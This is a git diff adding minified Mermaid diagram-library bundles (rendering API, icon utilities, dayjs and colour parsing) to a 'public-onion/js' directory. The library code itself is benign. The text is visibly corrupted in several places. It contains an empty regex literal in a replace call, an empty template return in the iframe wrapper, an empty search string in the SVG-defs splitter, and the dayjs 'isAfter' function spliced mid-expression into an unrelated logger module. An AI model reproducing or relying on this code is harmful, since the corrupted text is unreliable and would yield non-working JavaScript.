+${t.themeCSS}`),t.fontFamily!==void 0&&(a+=` +:root { --mermaid-font-family: ${t.fontFamily}}`),t.altFontFamily!==void 0&&(a+=` +:root { --mermaid-alt-font-family: ${t.altFontFamily}}`),e instanceof Map){let m=t.htmlLabels??t.flowchart?.htmlLabels?["> *","span"]:["rect","polygon","ellipse","circle","path"];e.forEach(s=>{xt(s.styles)||m.forEach(c=>{a+=we(s.id,c,s.styles)}),xt(s.textStyles)||(a+=we(s.id,"tspan",(s?.textStyles||[]).map(c=>c.replace("color","fill"))))})}return a},"createCssStyles"),Ai=r((t,e,a,i)=>{let o=Mi(t,a),n=zt(e,o,t.themeVariables);return dt(fe(`${i}{${n}}`),ge)},"createUserStyles"),Ti=r((t="",e,a)=>{let i=t;return!a&&!e&&(i=i.replace(/marker-end="url\([\d+./:=?A-Za-z-]*?#/g,'marker-end="url(#')),i=Ht(i),i=i.replace(/
    /g,"
    "),i},"cleanUpSvgCode"),Ci=r((t="",e)=>{let a=e?.viewBox?.baseVal?.height?e.viewBox.baseVal.height+"px":xi,i=Ee(`${t}`);return``},"putIntoIFrame"),Le=r((t,e,a,i,o)=>{let n=t.append("div");n.attr("id",a),i&&n.attr("style",i);let m=n.append("svg").attr("id",e).attr("width","100%").attr("xmlns",li);return o&&m.attr("xmlns:xlink",o),m.append("g"),t},"appendDivSvgG");function be(t,e){return t.append("iframe").attr("id",e).attr("style","width: 100%; height: 100%;").attr("sandbox","")}r(be,"sandboxedIframe");var Ri=r((t,e,a,i)=>{t.getElementById(e)?.remove(),t.getElementById(a)?.remove(),t.getElementById(i)?.remove()},"removeExistingElements"),ki=r(async function(t,e,a){$();let i=ve(e);e=i.code;let o=G();g.debug(o),e.length>(o?.maxTextSize??pi)&&(e=di);let n="#"+t,m="i"+t,s="#"+m,c="d"+t,l="#"+c,y=r(()=>{let gt=k(x?s:l).node();gt&&"remove"in gt&>.remove()},"removeTempElements"),p=k("body"),x=o.securityLevel===fi,A=o.securityLevel===gi,b=o.fontFamily;if(a!==void 0){if(a&&(a.innerHTML=""),x){let M=be(k(a),m);p=k(M.nodes()[0].contentDocument.body),p.node().style.margin=0}else p=k(a);Le(p,t,c,`font-family: ${b}`,ui)}else{if(Ri(document,t,c,m),x){let M=be(k("body"),m);p=k(M.nodes()[0].contentDocument.body),p.node().style.margin=0}else p=k("body");Le(p,t,c)}let f,C;try{f=await B.fromText(e,{title:i.title})}catch(M){if(o.suppressErrorRendering)throw y(),M;f=await B.fromText("error"),C=M}let v=p.select(l).node(),u=f.type,S=v.firstChild,R=S.firstChild,T=f.renderer.getClasses?.(e,f),E=Ai(o,u,T,n),d=document.createElement("style");d.innerHTML=E,S.insertBefore(d,R);try{await f.renderer.draw(e,t,ht.version,f)}catch(M){throw o.suppressErrorRendering?y():Sr.draw(e,t,ht.version),M}let ke=p.select(`${l} svg`),je=f.db.getAccTitle?.(),Oe=f.db.getAccDescription?.();Oi(u,ke,je,Oe),p.select(`[id="${t}"]`).selectAll("foreignobject > *").attr("xmlns",Di);let _=p.select(l).node().innerHTML;if(g.debug("config.arrowMarkerAbsolute",o.arrowMarkerAbsolute),_=Ti(_,x,jt(o.arrowMarkerAbsolute)),x){let M=p.select(l+" svg").node();_=Ci(_,M)}else A||(_=kt.sanitize(_,{ADD_TAGS:bi,ADD_ATTR:vi,HTML_INTEGRATION_POINTS:{foreignobject:!0}}));if(ye(),C)throw C;return y(),{diagramType:u,svg:_,bindFunctions:f.db.bindFunctions}},"render");function ji(t={}){let e=St({},t);e?.fontFamily&&!e.themeVariables?.fontFamily&&(e.themeVariables||(e.themeVariables={}),e.themeVariables.fontFamily=e.fontFamily),At(e),e?.theme&&e.theme in tt?e.themeVariables=tt[e.theme].getThemeVariables(e.themeVariables):e&&(e.themeVariables=tt.default.getThemeVariables(e.themeVariables));let a=typeof e=="object"?Mt(e):Dt();lt(a.logLevel),$()}r(ji,"initialize");var Se=r((t,e={})=>{let{code:a}=bt(t);return B.fromText(a,e)},"getDiagramFromText");function Oi(t,e,a,i){le(e,t),ue(e,a,i,e.attr("id"))}r(Oi,"addA11yInfo");var I=Object.freeze({render:ki,parse:Si,getDiagramFromText:Se,initialize:ji,getConfig:G,setConfig:Ct,getSiteConfig:Dt,updateSiteConfig:Tt,reset:r(()=>{Y()},"reset"),globalReset:r(()=>{Y(ut)},"globalReset"),defaultConfig:ut});lt(G().logLevel);Y(G());var Pi=r((t,e,a)=>{g.warn(t),yt(t)?(a&&a(t.str,t.hash),e.push({...t,message:t.str,error:t})):(a&&a(t),t instanceof Error&&e.push({str:t.message,message:t.message,hash:t.name,error:t}))},"handleError"),Me=r(async function(t={querySelector:".mermaid"}){try{await Fi(t)}catch(e){if(yt(e)&&g.error(e.str),O.parseError&&O.parseError(e),!t.suppressErrors)throw g.error("Use the suppressErrors option to suppress these errors"),e}},"run"),Fi=r(async function({postRenderCallback:t,querySelector:e,nodes:a}={querySelector:".mermaid"}){let i=I.getConfig();g.debug(`${t?"":"No "}Callback function found`);let o;if(a)o=a;else if(e)o=document.querySelectorAll(e);else throw new Error("Nodes and querySelector are both undefined");g.debug(`Found ${o.length} diagrams`),i?.startOnLoad!==void 0&&(g.debug("Start On Load: "+i?.startOnLoad),I.updateSiteConfig({startOnLoad:i?.startOnLoad}));let n=new V.InitIDGenerator(i.deterministicIds,i.deterministicIDSeed),m,s=[];for(let c of Array.from(o)){g.info("Rendering diagram: "+c.id);if(c.getAttribute("data-processed"))continue;c.setAttribute("data-processed","true");let l=`mermaid-${n.next()}`;m=c.innerHTML,m=Pt(V.entityDecode(m)).trim().replace(//gi,"
    ");let y=V.detectInit(m);y&&g.debug("Detected early reinit: ",y);try{let{svg:p,bindFunctions:x}=await Re(l,m,c);c.innerHTML=p,t&&await t(l),x&&x(c)}catch(p){Pi(p,s,O.parseError)}}if(s.length>0)throw s[0]},"runThrowsErrors"),Ae=r(function(t){I.initialize(t)},"initialize"),Ii=r(async function(t,e,a){g.warn("mermaid.init is deprecated. Please use run instead."),t&&Ae(t);let i={postRenderCallback:a,querySelector:".mermaid"};typeof e=="string"?i.querySelector=e:e&&(e instanceof HTMLElement?i.nodes=[e]:i.nodes=e),await Me(i)},"init"),_i=r(async(t,{lazyLoad:e=!0}={})=>{$(),W(...t),e===!1&&await Xr()},"registerExternalDiagrams"),Te=r(function(){if(O.startOnLoad){let{startOnLoad:t}=I.getConfig();t&&O.run().catch(e=>g.error("Mermaid failed to initialize",e))}},"contentLoaded");if(typeof document<"u"){window.addEventListener("load",Te,!1)}var Gi=r(function(t){O.parseError=t},"setParseErrorHandler"),ft=[],vt=!1,Ce=r(async()=>{if(!vt){for(vt=!0;ft.length>0;){let t=ft.shift();if(t)try{await t()}catch(e){g.error("Error executing queue",e)}}vt=!1}},"executeQueue"),zi=r(async(t,e)=>new Promise((a,i)=>{let o=r(()=>new Promise((n,m)=>{I.parse(t,e).then(s=>{n(s),a(s)},s=>{g.error("Error parsing",s),O.parseError?.(s),m(s),i(s)})}),"performCall");ft.push(o),Ce().catch(i)}),"parse"),Re=r((t,e,a)=>new Promise((i,o)=>{let n=r(()=>new Promise((m,s)=>{I.render(t,e,a).then(c=>{m(c),i(c)},c=>{g.error("Error parsing",c),O.parseError?.(c),s(c),o(c)})}),"performCall");ft.push(n),Ce().catch(o)}),"render"),Vi=r(()=>Object.keys(X).map(t=>({id:t})),"getRegisteredDiagramsMetadata"),O={startOnLoad:!0,mermaidAPI:I,parse:zi,render:Re,init:Ii,run:Me,registerExternalDiagrams:_i,registerLayoutLoaders:Bt,initialize:Ae,parseError:void 0,contentLoaded:Te,setParseErrorHandler:Gi,detectType:rt,registerIconPacks:Ot,getRegisteredDiagramsMetadata:Vi},Xs=O;export{Xs as default}; +/*! Check if previously processed */ +/*! + * Wait for document loaded before starting the execution + */ diff --git a/public-onion/js/mermaid.min.js b/public-onion/js/mermaid.min.js new file mode 100644 index 0000000..0f033c7 --- /dev/null +++ b/public-onion/js/mermaid.min.js @@ -0,0 +1,2811 @@ +"use strict";var __esbuild_esm_mermaid_nm;(__esbuild_esm_mermaid_nm||={}).mermaid=(()=>{var V3e=Object.create;var _y=Object.defineProperty;var U3e=Object.getOwnPropertyDescriptor;var H3e=Object.getOwnPropertyNames;var q3e=Object.getPrototypeOf,W3e=Object.prototype.hasOwnProperty;var o=(t,e)=>_y(t,"name",{value:e,configurable:!0});var N=(t,e)=>()=>(t&&(e=t(t=0)),e);var Da=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),dr=(t,e)=>{for(var r in e)_y(t,r,{get:e[r],enumerable:!0})},q4=(t,e,r,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of H3e(e))!W3e.call(t,i)&&i!==r&&_y(t,i,{get:()=>e[i],enumerable:!(n=U3e(e,i))||n.enumerable});return t},Lr=(t,e,r)=>(q4(t,e,"default"),r&&q4(r,e,"default")),ja=(t,e,r)=>(r=t!=null?V3e(q3e(t)):{},q4(e||!t||!t.__esModule?_y(r,"default",{value:t,enumerable:!0}):r,t)),Y3e=t=>q4(_y({},"__esModule",{value:!0}),t);var X3e,y0,t7,Uz,W4=N(()=>{"use strict";X3e=Object.freeze({left:0,top:0,width:16,height:16}),y0=Object.freeze({rotate:0,vFlip:!1,hFlip:!1}),t7=Object.freeze({...X3e,...y0}),Uz=Object.freeze({...t7,body:"",hidden:!1})});var j3e,Hz,qz=N(()=>{"use strict";W4();j3e=Object.freeze({width:null,height:null}),Hz=Object.freeze({...j3e,...y0})});var r7,Y4,Wz=N(()=>{"use strict";r7=o((t,e,r,n="")=>{let i=t.split(":");if(t.slice(0,1)==="@"){if(i.length<2||i.length>3)return null;n=i.shift().slice(1)}if(i.length>3||!i.length)return null;if(i.length>1){let l=i.pop(),u=i.pop(),h={provider:i.length>0?i[0]:n,prefix:u,name:l};return e&&!Y4(h)?null:h}let a=i[0],s=a.split("-");if(s.length>1){let l={provider:n,prefix:s.shift(),name:s.join("-")};return e&&!Y4(l)?null:l}if(r&&n===""){let l={provider:n,prefix:"",name:a};return e&&!Y4(l,r)?null:l}return null},"stringToIcon"),Y4=o((t,e)=>t?!!((e&&t.prefix===""||t.prefix)&&t.name):!1,"validateIconName")});function Yz(t,e){let r={};!t.hFlip!=!e.hFlip&&(r.hFlip=!0),!t.vFlip!=!e.vFlip&&(r.vFlip=!0);let n=((t.rotate||0)+(e.rotate||0))%4;return n&&(r.rotate=n),r}var Xz=N(()=>{"use strict";o(Yz,"mergeIconTransformations")});function n7(t,e){let r=Yz(t,e);for(let n in Uz)n in y0?n in t&&!(n in r)&&(r[n]=y0[n]):n in e?r[n]=e[n]:n in t&&(r[n]=t[n]);return r}var jz=N(()=>{"use strict";W4();Xz();o(n7,"mergeIconData")});function Kz(t,e){let r=t.icons,n=t.aliases||Object.create(null),i=Object.create(null);function a(s){if(r[s])return i[s]=[];if(!(s in i)){i[s]=null;let l=n[s]&&n[s].parent,u=l&&a(l);u&&(i[s]=[l].concat(u))}return i[s]}return o(a,"resolve"),(e||Object.keys(r).concat(Object.keys(n))).forEach(a),i}var Qz=N(()=>{"use strict";o(Kz,"getIconsTree")});function Zz(t,e,r){let n=t.icons,i=t.aliases||Object.create(null),a={};function s(l){a=n7(n[l]||i[l],a)}return o(s,"parse"),s(e),r.forEach(s),n7(t,a)}function i7(t,e){if(t.icons[e])return Zz(t,e,[]);let r=Kz(t,[e])[e];return r?Zz(t,e,r):null}var Jz=N(()=>{"use strict";jz();Qz();o(Zz,"internalGetIconData");o(i7,"getIconData")});function a7(t,e,r){if(e===1)return t;if(r=r||100,typeof t=="number")return Math.ceil(t*e*r)/r;if(typeof t!="string")return t;let n=t.split(K3e);if(n===null||!n.length)return t;let i=[],a=n.shift(),s=Q3e.test(a);for(;;){if(s){let l=parseFloat(a);isNaN(l)?i.push(a):i.push(Math.ceil(l*e*r)/r)}else i.push(a);if(a=n.shift(),a===void 0)return i.join("");s=!s}}var K3e,Q3e,eG=N(()=>{"use strict";K3e=/(-?[0-9.]*[0-9]+[0-9.]*)/g,Q3e=/^-?[0-9.]*[0-9]+[0-9.]*$/g;o(a7,"calculateSize")});function Z3e(t,e="defs"){let r="",n=t.indexOf("<"+e);for(;n>=0;){let i=t.indexOf(">",n),a=t.indexOf("",a);if(s===-1)break;r+=t.slice(i+1,a).trim(),t=t.slice(0,n).trim()+t.slice(s+1)}return{defs:r,content:t}}function J3e(t,e){return t?""+t+""+e:e}function tG(t,e,r){let n=Z3e(t);return J3e(n.defs,e+n.content+r)}var rG=N(()=>{"use strict";o(Z3e,"splitSVGDefs");o(J3e,"mergeDefsAndContent");o(tG,"wrapSVGContent")});function s7(t,e){let r={...t7,...t},n={...Hz,...e},i={left:r.left,top:r.top,width:r.width,height:r.height},a=r.body;[r,n].forEach(y=>{let v=[],x=y.hFlip,b=y.vFlip,T=y.rotate;x?b?T+=2:(v.push("translate("+(i.width+i.left).toString()+" "+(0-i.top).toString()+")"),v.push("scale(-1 1)"),i.top=i.left=0):b&&(v.push("translate("+(0-i.left).toString()+" "+(i.height+i.top).toString()+")"),v.push("scale(1 -1)"),i.top=i.left=0);let S;switch(T<0&&(T-=Math.floor(T/4)*4),T=T%4,T){case 1:S=i.height/2+i.top,v.unshift("rotate(90 "+S.toString()+" "+S.toString()+")");break;case 2:v.unshift("rotate(180 "+(i.width/2+i.left).toString()+" "+(i.height/2+i.top).toString()+")");break;case 3:S=i.width/2+i.left,v.unshift("rotate(-90 "+S.toString()+" "+S.toString()+")");break}T%2===1&&(i.left!==i.top&&(S=i.left,i.left=i.top,i.top=S),i.width!==i.height&&(S=i.width,i.width=i.height,i.height=S)),v.length&&(a=tG(a,'',""))});let s=n.width,l=n.height,u=i.width,h=i.height,f,d;s===null?(d=l===null?"1em":l==="auto"?h:l,f=a7(d,u/h)):(f=s==="auto"?u:s,d=l===null?a7(f,h/u):l==="auto"?h:l);let p={},m=o((y,v)=>{e5e(v)||(p[y]=v.toString())},"setAttr");m("width",f),m("height",d);let g=[i.left,i.top,u,h];return p.viewBox=g.join(" "),{attributes:p,viewBox:g,body:a}}var e5e,nG=N(()=>{"use strict";W4();qz();eG();rG();e5e=o(t=>t==="unset"||t==="undefined"||t==="none","isUnsetKeyword");o(s7,"iconToSVG")});function o7(t,e=r5e){let r=[],n;for(;n=t5e.exec(t);)r.push(n[1]);if(!r.length)return t;let i="suffix"+(Math.random()*16777216|Date.now()).toString(16);return r.forEach(a=>{let s=typeof e=="function"?e(a):e+(n5e++).toString(),l=a.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");t=t.replace(new RegExp('([#;"])('+l+')([")]|\\.[a-z])',"g"),"$1"+s+i+"$3")}),t=t.replace(new RegExp(i,"g"),""),t}var t5e,r5e,n5e,iG=N(()=>{"use strict";t5e=/\sid="(\S+)"/g,r5e="IconifyId"+Date.now().toString(16)+(Math.random()*16777216|0).toString(16),n5e=0;o(o7,"replaceIDs")});function l7(t,e){let r=t.indexOf("xlink:")===-1?"":' xmlns:xlink="http://www.w3.org/1999/xlink"';for(let n in e)r+=" "+n+'="'+e[n]+'"';return'"+t+""}var aG=N(()=>{"use strict";o(l7,"iconToHTML")});var sG=N(()=>{"use strict";Wz();Jz();nG();iG();aG()});var c7,Rn,v0=N(()=>{"use strict";c7=o((t,e,{depth:r=2,clobber:n=!1}={})=>{let i={depth:r,clobber:n};return Array.isArray(e)&&!Array.isArray(t)?(e.forEach(a=>c7(t,a,i)),t):Array.isArray(e)&&Array.isArray(t)?(e.forEach(a=>{t.includes(a)||t.push(a)}),t):t===void 0||r<=0?t!=null&&typeof t=="object"&&typeof e=="object"?Object.assign(t,e):e:(e!==void 0&&typeof t=="object"&&typeof e=="object"&&Object.keys(e).forEach(a=>{typeof e[a]=="object"&&(t[a]===void 0||typeof t[a]=="object")?(t[a]===void 0&&(t[a]=Array.isArray(e[a])?[]:{}),t[a]=c7(t[a],e[a],{depth:r-1,clobber:n})):(n||typeof t[a]!="object"&&typeof e[a]!="object")&&(t[a]=e[a])}),t)},"assignWithDepth"),Rn=c7});var X4=Da((u7,h7)=>{"use strict";(function(t,e){typeof u7=="object"&&typeof h7<"u"?h7.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs=e()})(u7,(function(){"use strict";var t=1e3,e=6e4,r=36e5,n="millisecond",i="second",a="minute",s="hour",l="day",u="week",h="month",f="quarter",d="year",p="date",m="Invalid Date",g=/^(\d{4})[-/]?(\d{1,2})?[-/]?(\d{0,2})[Tt\s]*(\d{1,2})?:?(\d{1,2})?:?(\d{1,2})?[.:]?(\d+)?$/,y=/\[([^\]]+)]|Y{1,4}|M{1,4}|D{1,2}|d{1,4}|H{1,2}|h{1,2}|a|A|m{1,2}|s{1,2}|Z{1,2}|SSS/g,v={name:"en",weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),ordinal:o(function(E){var D=["th","st","nd","rd"],_=E%100;return"["+E+(D[(_-20)%10]||D[_]||D[0])+"]"},"ordinal")},x=o(function(E,D,_){var O=String(E);return!O||O.length>=D?E:""+Array(D+1-O.length).join(_)+E},"m"),b={s:x,z:o(function(E){var D=-E.utcOffset(),_=Math.abs(D),O=Math.floor(_/60),M=_%60;return(D<=0?"+":"-")+x(O,2,"0")+":"+x(M,2,"0")},"z"),m:o(function E(D,_){if(D.date()<_.date())return-E(_,D);var O=12*(_.year()-D.year())+(_.month()-D.month()),M=D.clone().add(O,h),P=_-M<0,B=D.clone().add(O+(P?-1:1),h);return+(-(O+(_-M)/(P?M-B:B-M))||0)},"t"),a:o(function(E){return E<0?Math.ceil(E)||0:Math.floor(E)},"a"),p:o(function(E){return{M:h,y:d,w:u,d:l,D:p,h:s,m:a,s:i,ms:n,Q:f}[E]||String(E||"").toLowerCase().replace(/s$/,"")},"p"),u:o(function(E){return E===void 0},"u")},T="en",S={};S[T]=v;var w="$isDayjsObject",k=o(function(E){return E instanceof I||!(!E||!E[w])},"S"),A=o(function E(D,_,O){var M;if(!D)return T;if(typeof D=="string"){var P=D.toLowerCase();S[P]&&(M=P),_&&(S[P]=_,M=P);var B=D.split("-");if(!M&&B.length>1)return E(B[0])}else{var F=D.name;S[F]=D,M=F}return!O&&M&&(T=M),M||!O&&T},"t"),C=o(function(E,D){if(k(E))return E.clone();var _=typeof D=="object"?D:{};return _.date=E,_.args=arguments,new I(_)},"O"),R=b;R.l=A,R.i=k,R.w=function(E,D){return C(E,{locale:D.$L,utc:D.$u,x:D.$x,$offset:D.$offset})};var I=(function(){function E(_){this.$L=A(_.locale,null,!0),this.parse(_),this.$x=this.$x||_.x||{},this[w]=!0}o(E,"M");var D=E.prototype;return D.parse=function(_){this.$d=(function(O){var M=O.date,P=O.utc;if(M===null)return new Date(NaN);if(R.u(M))return new Date;if(M instanceof Date)return new Date(M);if(typeof M=="string"&&!/Z$/i.test(M)){var B=M.match(g);if(B){var F=B[2]-1||0,G=(B[7]||"0").substring(0,3);return P?new Date(Date.UTC(B[1],F,B[3]||1,B[4]||0,B[5]||0,B[6]||0,G)):new Date(B[1],F,B[3]||1,B[4]||0,B[5]||0,B[6]||0,G)}}return new Date(M)})(_),this.init()},D.init=function(){var _=this.$d;this.$y=_.getFullYear(),this.$M=_.getMonth(),this.$D=_.getDate(),this.$W=_.getDay(),this.$H=_.getHours(),this.$m=_.getMinutes(),this.$s=_.getSeconds(),this.$ms=_.getMilliseconds()},D.$utils=function(){return R},D.isValid=function(){return this.$d.toString()!==m},D.isSame=function(_,O){var M=C(_);return this.startOf(O)<=M&&M<=this.endOf(O)},D.isAfter=function(_,O){return C(_){"use strict";oG=ja(X4(),1),au={trace:0,debug:1,info:2,warn:3,error:4,fatal:5},X={trace:o((...t)=>{},"trace"),debug:o((...t)=>{},"debug"),info:o((...t)=>{},"info"),warn:o((...t)=>{},"warn"),error:o((...t)=>{},"error"),fatal:o((...t)=>{},"fatal")},Dy=o(function(t="fatal"){let e=au.fatal;typeof t=="string"?t.toLowerCase()in au&&(e=au[t]):typeof t=="number"&&(e=t),X.trace=()=>{},X.debug=()=>{},X.info=()=>{},X.warn=()=>{},X.error=()=>{},X.fatal=()=>{},e<=au.fatal&&(X.fatal=console.error?console.error.bind(console,Eo("FATAL"),"color: orange"):console.log.bind(console,"\x1B[35m",Eo("FATAL"))),e<=au.error&&(X.error=console.error?console.error.bind(console,Eo("ERROR"),"color: orange"):console.log.bind(console,"\x1B[31m",Eo("ERROR"))),e<=au.warn&&(X.warn=console.warn?console.warn.bind(console,Eo("WARN"),"color: orange"):console.log.bind(console,"\x1B[33m",Eo("WARN"))),e<=au.info&&(X.info=console.info?console.info.bind(console,Eo("INFO"),"color: lightblue"):console.log.bind(console,"\x1B[34m",Eo("INFO"))),e<=au.debug&&(X.debug=console.debug?console.debug.bind(console,Eo("DEBUG"),"color: lightgreen"):console.log.bind(console,"\x1B[32m",Eo("DEBUG"))),e<=au.trace&&(X.trace=console.debug?console.debug.bind(console,Eo("TRACE"),"color: lightgreen"):console.log.bind(console,"\x1B[32m",Eo("TRACE")))},"setLogLevel"),Eo=o(t=>`%c${(0,oG.default)().format("ss.SSS")} : ${t} : `,"format")});var j4,lG,cG=N(()=>{"use strict";j4={min:{r:0,g:0,b:0,s:0,l:0,a:0},max:{r:255,g:255,b:255,h:360,s:100,l:100,a:1},clamp:{r:o(t=>t>=255?255:t<0?0:t,"r"),g:o(t=>t>=255?255:t<0?0:t,"g"),b:o(t=>t>=255?255:t<0?0:t,"b"),h:o(t=>t%360,"h"),s:o(t=>t>=100?100:t<0?0:t,"s"),l:o(t=>t>=100?100:t<0?0:t,"l"),a:o(t=>t>=1?1:t<0?0:t,"a")},toLinear:o(t=>{let e=t/255;return t>.03928?Math.pow((e+.055)/1.055,2.4):e/12.92},"toLinear"),hue2rgb:o((t,e,r)=>(r<0&&(r+=1),r>1&&(r-=1),r<.16666666666666666?t+(e-t)*6*r:r<.5?e:r<.6666666666666666?t+(e-t)*(.6666666666666666-r)*6:t),"hue2rgb"),hsl2rgb:o(({h:t,s:e,l:r},n)=>{if(!e)return r*2.55;t/=360,e/=100,r/=100;let i=r<.5?r*(1+e):r+e-r*e,a=2*r-i;switch(n){case"r":return j4.hue2rgb(a,i,t+.3333333333333333)*255;case"g":return j4.hue2rgb(a,i,t)*255;case"b":return j4.hue2rgb(a,i,t-.3333333333333333)*255}},"hsl2rgb"),rgb2hsl:o(({r:t,g:e,b:r},n)=>{t/=255,e/=255,r/=255;let i=Math.max(t,e,r),a=Math.min(t,e,r),s=(i+a)/2;if(n==="l")return s*100;if(i===a)return 0;let l=i-a,u=s>.5?l/(2-i-a):l/(i+a);if(n==="s")return u*100;switch(i){case t:return((e-r)/l+(e{"use strict";i5e={clamp:o((t,e,r)=>e>r?Math.min(e,Math.max(r,t)):Math.min(r,Math.max(e,t)),"clamp"),round:o(t=>Math.round(t*1e10)/1e10,"round")},uG=i5e});var a5e,fG,dG=N(()=>{"use strict";a5e={dec2hex:o(t=>{let e=Math.round(t).toString(16);return e.length>1?e:`0${e}`},"dec2hex")},fG=a5e});var s5e,Kt,Xl=N(()=>{"use strict";cG();hG();dG();s5e={channel:lG,lang:uG,unit:fG},Kt=s5e});var su,Ni,Ly=N(()=>{"use strict";Xl();su={};for(let t=0;t<=255;t++)su[t]=Kt.unit.dec2hex(t);Ni={ALL:0,RGB:1,HSL:2}});var f7,pG,mG=N(()=>{"use strict";Ly();f7=class{static{o(this,"Type")}constructor(){this.type=Ni.ALL}get(){return this.type}set(e){if(this.type&&this.type!==e)throw new Error("Cannot change both RGB and HSL channels at the same time");this.type=e}reset(){this.type=Ni.ALL}is(e){return this.type===e}},pG=f7});var d7,gG,yG=N(()=>{"use strict";Xl();mG();Ly();d7=class{static{o(this,"Channels")}constructor(e,r){this.color=r,this.changed=!1,this.data=e,this.type=new pG}set(e,r){return this.color=r,this.changed=!1,this.data=e,this.type.type=Ni.ALL,this}_ensureHSL(){let e=this.data,{h:r,s:n,l:i}=e;r===void 0&&(e.h=Kt.channel.rgb2hsl(e,"h")),n===void 0&&(e.s=Kt.channel.rgb2hsl(e,"s")),i===void 0&&(e.l=Kt.channel.rgb2hsl(e,"l"))}_ensureRGB(){let e=this.data,{r,g:n,b:i}=e;r===void 0&&(e.r=Kt.channel.hsl2rgb(e,"r")),n===void 0&&(e.g=Kt.channel.hsl2rgb(e,"g")),i===void 0&&(e.b=Kt.channel.hsl2rgb(e,"b"))}get r(){let e=this.data,r=e.r;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"r"))}get g(){let e=this.data,r=e.g;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"g"))}get b(){let e=this.data,r=e.b;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"b"))}get h(){let e=this.data,r=e.h;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"h"))}get s(){let e=this.data,r=e.s;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"s"))}get l(){let e=this.data,r=e.l;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"l"))}get a(){return this.data.a}set r(e){this.type.set(Ni.RGB),this.changed=!0,this.data.r=e}set g(e){this.type.set(Ni.RGB),this.changed=!0,this.data.g=e}set b(e){this.type.set(Ni.RGB),this.changed=!0,this.data.b=e}set h(e){this.type.set(Ni.HSL),this.changed=!0,this.data.h=e}set s(e){this.type.set(Ni.HSL),this.changed=!0,this.data.s=e}set l(e){this.type.set(Ni.HSL),this.changed=!0,this.data.l=e}set a(e){this.changed=!0,this.data.a=e}},gG=d7});var o5e,fh,Ry=N(()=>{"use strict";yG();o5e=new gG({r:0,g:0,b:0,a:0},"transparent"),fh=o5e});var vG,od,p7=N(()=>{"use strict";Ry();Ly();vG={re:/^#((?:[a-f0-9]{2}){2,4}|[a-f0-9]{3})$/i,parse:o(t=>{if(t.charCodeAt(0)!==35)return;let e=t.match(vG.re);if(!e)return;let r=e[1],n=parseInt(r,16),i=r.length,a=i%4===0,s=i>4,l=s?1:17,u=s?8:4,h=a?0:-1,f=s?255:15;return fh.set({r:(n>>u*(h+3)&f)*l,g:(n>>u*(h+2)&f)*l,b:(n>>u*(h+1)&f)*l,a:a?(n&f)*l/255:1},t)},"parse"),stringify:o(t=>{let{r:e,g:r,b:n,a:i}=t;return i<1?`#${su[Math.round(e)]}${su[Math.round(r)]}${su[Math.round(n)]}${su[Math.round(i*255)]}`:`#${su[Math.round(e)]}${su[Math.round(r)]}${su[Math.round(n)]}`},"stringify")},od=vG});var K4,Ny,xG=N(()=>{"use strict";Xl();Ry();K4={re:/^hsla?\(\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?(?:deg|grad|rad|turn)?)\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?%)\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?%)(?:\s*?(?:,|\/)\s*?\+?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?(%)?))?\s*?\)$/i,hueRe:/^(.+?)(deg|grad|rad|turn)$/i,_hue2deg:o(t=>{let e=t.match(K4.hueRe);if(e){let[,r,n]=e;switch(n){case"grad":return Kt.channel.clamp.h(parseFloat(r)*.9);case"rad":return Kt.channel.clamp.h(parseFloat(r)*180/Math.PI);case"turn":return Kt.channel.clamp.h(parseFloat(r)*360)}}return Kt.channel.clamp.h(parseFloat(t))},"_hue2deg"),parse:o(t=>{let e=t.charCodeAt(0);if(e!==104&&e!==72)return;let r=t.match(K4.re);if(!r)return;let[,n,i,a,s,l]=r;return fh.set({h:K4._hue2deg(n),s:Kt.channel.clamp.s(parseFloat(i)),l:Kt.channel.clamp.l(parseFloat(a)),a:s?Kt.channel.clamp.a(l?parseFloat(s)/100:parseFloat(s)):1},t)},"parse"),stringify:o(t=>{let{h:e,s:r,l:n,a:i}=t;return i<1?`hsla(${Kt.lang.round(e)}, ${Kt.lang.round(r)}%, ${Kt.lang.round(n)}%, ${i})`:`hsl(${Kt.lang.round(e)}, ${Kt.lang.round(r)}%, ${Kt.lang.round(n)}%)`},"stringify")},Ny=K4});var Q4,m7,bG=N(()=>{"use strict";p7();Q4={colors:{aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyanaqua:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",dee